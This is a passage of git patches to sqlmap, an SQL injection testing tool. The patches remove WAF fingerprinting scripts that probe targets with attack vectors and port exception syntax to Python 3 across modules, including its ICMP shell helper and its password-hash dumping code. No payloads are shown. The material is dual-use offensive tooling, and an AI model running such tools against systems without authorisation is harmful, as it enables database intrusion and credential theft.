WAF_ATTACK_VECTORS - -__product__ = "BinarySEC Web Application Firewall (BinarySEC)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = any(headers.get(_) for _ in ("x-binarysec-via", "x-binarysec-nocache")) - retval |= re.search(r"BinarySec", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval From daa915a6f21812d6a93292517829d3cf40e9f936 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 20 Jan 2019 15:26:57 +0100 Subject: [PATCH 058/800] Removing unusable WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/nsfocus.py | 24 ------------------------ 3 files changed, 2 insertions(+), 27 deletions(-) delete mode 100644 waf/nsfocus.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2b9614e0c6f..9fec08c2759 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.56" +VERSION = "1.3.1.57" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index f159116e7c6..a0ac063ade2 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0328a4b5e5880289b867aa143387b9a9 lib/core/settings.py +65d7f43d13347de8fe30238a082c2066 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -439,7 +439,6 @@ d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 8004b57e9b8e19060aae5b82ecb87472 waf/netscaler.py 96e1902b7e4297173d519b00c86f6a02 waf/newdefend.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py -69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py 532b6f8de357a9b88a313944e1756538 waf/paloalto.py f9de9375ffd0447ba93b215493d327a1 waf/perimeterx.py diff --git a/waf/nsfocus.py b/waf/nsfocus.py deleted file mode 100644 index b5c95804e71..00000000000 --- a/waf/nsfocus.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NSFOCUS Web Application Firewall (NSFOCUS)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"NSFocus", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - if retval: - break - - return retval From 36b69bbe7958265d171385c03f98f025483a82ed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 20 Jan 2019 15:34:30 +0100 Subject: [PATCH 059/800] More cleaning up --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/netcontinuum.py | 24 ------------------------ 3 files changed, 2 insertions(+), 27 deletions(-) delete mode 100644 waf/netcontinuum.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 9fec08c2759..7579be70714 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.57" +VERSION = "1.3.1.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index a0ac063ade2..87fc3070814 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -65d7f43d13347de8fe30238a082c2066 lib/core/settings.py +318a4670831fc731de473681797042fb lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -435,7 +435,6 @@ f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 509af267f45485f3cb1c839fa040ff07 waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py -504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py 8004b57e9b8e19060aae5b82ecb87472 waf/netscaler.py 96e1902b7e4297173d519b00c86f6a02 waf/newdefend.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py diff --git a/waf/netcontinuum.py b/waf/netcontinuum.py deleted file mode 100644 index 2a5aaf1b7c0..00000000000 --- a/waf/netcontinuum.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"\ANCI__SessionId=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval From 17b79cd21b937d80aa86ca07e79d30761f31162e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 20 Jan 2019 16:49:14 +0100 Subject: [PATCH 060/800] Minor cleanup --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/cleantalk.py | 19 ------------------- 3 files changed, 2 insertions(+), 22 deletions(-) delete mode 100644 waf/cleantalk.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7579be70714..eaa457465aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.58" +VERSION = "1.3.1.59" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 87fc3070814..c7145c32fed 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -318a4670831fc731de473681797042fb lib/core/settings.py +a6c91e706b0c752a7c89ed1a5737b8e6 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -410,7 +410,6 @@ e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py 8385218d8a1863dbfd4274db36880dfe waf/cerber.py 5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py a05edf8f2962dfff0457b7a4fd5e169c waf/ciscoacexml.py -2565869c73a9a37f25deb317e8f5d9dd waf/cleantalk.py af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 8fec83056c8728076ab17ab3a2ebbe7b waf/cloudflare.py 9ae3dfb7c03da53fb67c6c3cb56b4827 waf/cloudfront.py diff --git a/waf/cleantalk.py b/waf/cleantalk.py deleted file mode 100644 index 006d2a75cc3..00000000000 --- a/waf/cleantalk.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "CleanTalk Web Application FireWall (CleanTalk)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Blocked by Web Application Firewall", "Security by CleanTalk")) - - return retval From 7672b9a0a27747f2becfacb28f891fcabd9cb35a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Jan 2019 00:40:48 +0100 Subject: [PATCH 061/800] Baby steps (2 to 3 at a time) --- extra/icmpsh/icmpsh_m.py | 2 +- extra/wafdetectify/wafdetectify.py | 2 +- lib/controller/action.py | 6 +-- lib/controller/checks.py | 8 ++-- lib/controller/controller.py | 4 +- lib/controller/handler.py | 4 +- lib/core/bigarray.py | 6 +-- lib/core/common.py | 30 ++++++------- lib/core/dump.py | 6 +-- lib/core/option.py | 24 +++++----- lib/core/replication.py | 6 +-- lib/core/settings.py | 2 +- lib/core/target.py | 12 ++--- lib/core/threads.py | 8 ++-- lib/core/update.py | 6 +-- lib/core/wordlist.py | 4 +- lib/parse/cmdline.py | 4 +- lib/parse/configfile.py | 4 +- lib/parse/payloads.py | 4 +- lib/request/connect.py | 10 ++--- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 4 +- lib/request/pkihandler.py | 2 +- lib/utils/api.py | 10 ++--- lib/utils/crawler.py | 6 +-- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 8 ++-- lib/utils/pivotdumptable.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/search.py | 6 +-- plugins/dbms/oracle/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/entries.py | 4 +- plugins/generic/takeover.py | 2 +- thirdparty/clientform/clientform.py | 2 +- txt/checksum.md5 | 70 ++++++++++++++--------------- 36 files changed, 139 insertions(+), 139 deletions(-) diff --git a/extra/icmpsh/icmpsh_m.py b/extra/icmpsh/icmpsh_m.py index 00fbd8801ee..562223ab327 100644 --- a/extra/icmpsh/icmpsh_m.py +++ b/extra/icmpsh/icmpsh_m.py @@ -128,7 +128,7 @@ def main(src, dst): try: # Send it to the target host sock.sendto(ip.get_packet(), (dst, 0)) - except socket.error, ex: + except socket.error as ex: sys.stderr.write("'%s'\n" % ex) sys.stderr.flush() diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py index bf5dc4bdb3b..c51b4f1cb77 100755 --- a/extra/wafdetectify/wafdetectify.py +++ b/extra/wafdetectify/wafdetectify.py @@ -48,7 +48,7 @@ def get_page(get=None, url=None, host=None, data=None): conn = urllib2.urlopen(req, timeout=TIMEOUT) page = conn.read() headers = conn.info() - except Exception, ex: + except Exception as ex: code = getattr(ex, "code", None) page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "") headers = ex.info() if hasattr(ex, "info") else {} diff --git a/lib/controller/action.py b/lib/controller/action.py index 933057a5701..21658ec1671 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -75,7 +75,7 @@ def action(): if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) - except SqlmapNoneDataException, ex: + except SqlmapNoneDataException as ex: logger.critical(ex) except: raise @@ -83,7 +83,7 @@ def action(): if conf.getPrivileges: try: conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) - except SqlmapNoneDataException, ex: + except SqlmapNoneDataException as ex: logger.critical(ex) except: raise @@ -91,7 +91,7 @@ def action(): if conf.getRoles: try: conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) - except SqlmapNoneDataException, ex: + except SqlmapNoneDataException as ex: logger.critical(ex) except: raise diff --git a/lib/controller/checks.py b/lib/controller/checks.py index aedb46e3218..da836099aaa 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1440,7 +1440,7 @@ def _(*args, **kwargs): try: logger.debug("checking for WAF/IPS product '%s'" % product) found = function(_) - except Exception, ex: + except Exception as ex: errMsg = "exception occurred while running " errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex)) logger.critical(errMsg) @@ -1543,11 +1543,11 @@ def checkConnection(suppressOutput=False): except socket.gaierror: errMsg = "host '%s' does not exist" % conf.hostname raise SqlmapConnectionException(errMsg) - except socket.error, ex: + except socket.error as ex: errMsg = "problem occurred while " errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) - except UnicodeError, ex: + except UnicodeError as ex: errMsg = "problem occurred while " errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) raise SqlmapDataException(errMsg) @@ -1591,7 +1591,7 @@ def checkConnection(suppressOutput=False): port = match.group(1) if match else 443 conf.url = re.sub(r":\d+(/|\Z)", ":%s\g<1>" % port, conf.url) - except SqlmapConnectionException, ex: + except SqlmapConnectionException as ex: if conf.ipv6: warnMsg = "check connection to a provided " warnMsg += "IPv6 address with a tool like ping6 " diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 45924c6264f..6719130bd5d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -257,7 +257,7 @@ def _saveToResultsFile(): conf.resultsFP.write(line) conf.resultsFP.flush() - except IOError, ex: + except IOError as ex: errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) @@ -689,7 +689,7 @@ def start(): except SqlmapSilentQuitException: raise - except SqlmapBaseException, ex: + except SqlmapBaseException as ex: errMsg = getSafeExString(ex) if conf.multipleTargets: diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 9fb0cda6e4e..ce128dbb525 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -105,13 +105,13 @@ def setHandler(): if sqlalchemy.connector: conf.dbmsConnector = sqlalchemy - except Exception, ex: + except Exception as ex: exception = ex if not dialect or exception: try: conf.dbmsConnector.connect() - except Exception, ex: + except Exception as ex: if exception: raise exception else: diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 8d816a2dd87..318c3aba134 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -87,7 +87,7 @@ def pop(self): try: with open(self.chunks[-1], "rb") as f: self.chunks[-1] = pickle.loads(bz2.decompress(f.read())) - except IOError, ex: + except IOError as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException(errMsg) @@ -109,7 +109,7 @@ def _dump(self, chunk): with open(filename, "w+b") as f: f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) return filename - except (OSError, IOError), ex: + except (OSError, IOError) as ex: errMsg = "exception occurred while storing data " errMsg += "to a temporary file ('%s'). Please " % ex.message errMsg += "make sure that there is enough disk space left. If problem persists, " @@ -126,7 +126,7 @@ def _checkcache(self, index): try: with open(self.chunks[index], "rb") as f: self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False) - except Exception, ex: + except Exception as ex: errMsg = "exception occurred while retrieving data " errMsg += "from a temporary file ('%s')" % ex.message raise SqlmapSystemException(errMsg) diff --git a/lib/core/common.py b/lib/core/common.py index 4688cf4b4b5..c6c06295236 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -943,7 +943,7 @@ def dataToTrafficFile(data): try: conf.trafficFP.write(data) conf.trafficFP.flush() - except IOError, ex: + except IOError as ex: errMsg = "something went wrong while trying " errMsg += "to write to the traffic file '%s' ('%s')" % (conf.trafficFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) @@ -952,7 +952,7 @@ def dataToDumpFile(dumpFile, data): try: dumpFile.write(data) dumpFile.flush() - except IOError, ex: + except IOError as ex: if "No space left" in getUnicode(ex): errMsg = "no space left on output device" logger.error(errMsg) @@ -972,7 +972,7 @@ def dataToOutFile(filename, data): try: with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data f.write(unicodeencode(data)) - except UnicodeEncodeError, ex: + except UnicodeEncodeError as ex: _ = normalizeUnicode(filename) if filename != _: filename = _ @@ -980,7 +980,7 @@ def dataToOutFile(filename, data): errMsg = "couldn't write to the " errMsg += "output file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - except IOError, ex: + except IOError as ex: errMsg = "something went wrong while trying to write " errMsg += "to the output file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) @@ -1446,7 +1446,7 @@ def parseTargetUrl(): try: urlSplit = urlparse.urlsplit(conf.url) - except ValueError, ex: + except ValueError as ex: errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex)) errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " errMsg += "in the hostname part" @@ -2038,7 +2038,7 @@ def parseXmlFile(xmlFile, handler): try: with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream: parse(stream, handler) - except (SAXParseException, UnicodeError), ex: + except (SAXParseException, UnicodeError) as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" @@ -2104,7 +2104,7 @@ def readCachedFileContent(filename, mode="rb"): try: with openFile(filename, mode) as f: kb.cache.content[filename] = f.read() - except (IOError, OSError, MemoryError), ex: + except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) @@ -2218,7 +2218,7 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un retVal[line] = True else: retVal.append(line) - except (IOError, OSError, MemoryError), ex: + except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) @@ -2351,7 +2351,7 @@ def getUnicode(value, encoding=None, noneToNull=False): while True: try: return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) - except UnicodeDecodeError, ex: + except UnicodeDecodeError as ex: try: return unicode(value, UNICODE_ENCODING) except: @@ -2407,7 +2407,7 @@ def pushValue(value): getCurrentThreadData().valueStack.append(copy.deepcopy(value)) success = True break - except Exception, ex: + except Exception as ex: _ = ex if not success: @@ -3095,7 +3095,7 @@ def saveConfig(conf, filename): with openFile(filename, "wb") as f: try: config.write(f) - except IOError, ex: + except IOError as ex: errMsg = "something went wrong while trying " errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) @@ -3442,7 +3442,7 @@ def createGithubIssue(errMsg, excMsg): try: content = urllib2.urlopen(req).read() - except Exception, ex: + except Exception as ex: content = None issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") @@ -4063,7 +4063,7 @@ def geturl(self): continue request = form.click() - except (ValueError, TypeError), ex: + except (ValueError, TypeError) as ex: errMsg = "there has been a problem while " errMsg += "processing page forms ('%s')" % getSafeExString(ex) if raise_: @@ -4193,7 +4193,7 @@ def evaluateCode(code, variables=None): exec(code, variables) except KeyboardInterrupt: raise - except Exception, ex: + except Exception as ex: errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) @@ -4715,7 +4715,7 @@ def _parseBurpLog(content): try: with openFile(reqFile, "rb") as f: content = f.read() - except (IOError, OSError, MemoryError), ex: + except (IOError, OSError, MemoryError) as ex: errMsg = "something went wrong while trying " errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) raise SqlmapSystemException(errMsg) diff --git a/lib/core/dump.py b/lib/core/dump.py index 6aff9345702..ed468b33e90 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -79,7 +79,7 @@ def _write(self, data, newline=True, console=True, content_type=None): try: self._outputFP.write(text) - except IOError, ex: + except IOError as ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) @@ -99,7 +99,7 @@ def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") - except IOError, ex: + except IOError as ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) @@ -426,7 +426,7 @@ def dbTableValues(self, tableValues): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) - except Exception, ex: + except Exception as ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") except IOError, _: diff --git a/lib/core/option.py b/lib/core/option.py index 8324de5ab02..9d71014f55c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -194,7 +194,7 @@ def __contains__(self, name): tree = ElementTree() try: tree.parse(paths.QUERIES_XML) - except Exception, ex: + except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.QUERIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" @@ -335,7 +335,7 @@ def _setCrawler(): if conf.verbose in (1, 2): status = "%d/%d links visited (%d%%)" % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) - except Exception, ex: + except Exception as ex: errMsg = "problem occurred while crawling at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) @@ -471,7 +471,7 @@ def _findPageForms(): dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except KeyboardInterrupt: break - except Exception, ex: + except Exception as ex: errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) @@ -768,7 +768,7 @@ def _setTamperingFunctions(): try: module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) - except Exception, ex: + except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ @@ -801,7 +801,7 @@ def _setTamperingFunctions(): elif name == "dependencies": try: function() - except Exception, ex: + except Exception as ex: errMsg = "error occurred while checking dependencies " errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex)) raise SqlmapGenericException(errMsg) @@ -974,7 +974,7 @@ def _setHTTPHandlers(): try: _ = urlparse.urlsplit(conf.proxy) - except Exception, ex: + except Exception as ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) @@ -1376,7 +1376,7 @@ def _setHostname(): if conf.url: try: conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0] - except ValueError, ex: + except ValueError as ex: errMsg = "problem occurred while " errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) raise SqlmapDataException(errMsg) @@ -1430,7 +1430,7 @@ def _createTemporaryDirectory(): warnMsg = "using '%s' as the temporary directory" % conf.tmpDir logger.warn(warnMsg) - except (OSError, IOError), ex: + except (OSError, IOError) as ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) @@ -1438,7 +1438,7 @@ def _createTemporaryDirectory(): try: if not os.path.isdir(tempfile.gettempdir()): os.makedirs(tempfile.gettempdir()) - except Exception, ex: + except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "make sure that there is enough disk space left. If problem persists, " @@ -1457,7 +1457,7 @@ def _createTemporaryDirectory(): if not os.path.isdir(tempfile.tempdir): try: os.makedirs(tempfile.tempdir) - except Exception, ex: + except Exception as ex: errMsg = "there has been a problem while setting " errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) @@ -2329,14 +2329,14 @@ def _basicOptionValidation(): if conf.regexp: try: re.compile(conf.regexp) - except Exception, ex: + except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) if conf.crawlExclude: try: re.compile(conf.crawlExclude) - except Exception, ex: + except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/replication.py b/lib/core/replication.py index f9444af7586..01f2495a66e 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -27,7 +27,7 @@ def __init__(self, dbpath): self.connection = sqlite3.connect(dbpath) self.connection.isolation_level = None self.cursor = self.connection.cursor() - except sqlite3.OperationalError, ex: + except sqlite3.OperationalError as ex: errMsg = "error occurred while opening a replication " errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex)) raise SqlmapConnectionException(errMsg) @@ -63,7 +63,7 @@ def __init__(self, parent, name, columns=None, create=True, typeless=False): self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) else: self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) - except Exception, ex: + except Exception as ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath raise SqlmapGenericException(errMsg) @@ -82,7 +82,7 @@ def insert(self, values): def execute(self, sql, parameters=[]): try: self.parent.cursor.execute(sql, parameters) - except sqlite3.OperationalError, ex: + except sqlite3.OperationalError as ex: errMsg = "problem occurred ('%s') while accessing sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" diff --git a/lib/core/settings.py b/lib/core/settings.py index eaa457465aa..69dc0e27f4f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.59" +VERSION = "1.3.1.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index af20a002725..5a6c47f47e9 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -558,7 +558,7 @@ def _setResultsFile(): conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) try: conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0) - except (OSError, IOError), ex: + except (OSError, IOError) as ex: try: warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") @@ -590,7 +590,7 @@ def _createFilesDir(): if not os.path.isdir(conf.filePath): try: os.makedirs(conf.filePath) - except OSError, ex: + except OSError as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") warnMsg = "unable to create files directory " warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) @@ -612,7 +612,7 @@ def _createDumpDir(): if not os.path.isdir(conf.dumpPath): try: os.makedirs(conf.dumpPath) - except OSError, ex: + except OSError as ex: tempDir = tempfile.mkdtemp(prefix="sqlmapdump") warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) @@ -643,7 +643,7 @@ def _createTargetDirs(): if conf.outputDir and context == "output": warnMsg = "using '%s' as the %s directory" % (directory, context) logger.warn(warnMsg) - except (OSError, IOError), ex: + except (OSError, IOError) as ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) except Exception, _: @@ -665,7 +665,7 @@ def _createTargetDirs(): try: if not os.path.isdir(conf.outputPath): os.makedirs(conf.outputPath) - except (OSError, IOError, TypeError), ex: + except (OSError, IOError, TypeError) as ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") except Exception, _: @@ -691,7 +691,7 @@ def _createTargetDirs(): f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) if conf.data: f.write("\n\n%s" % 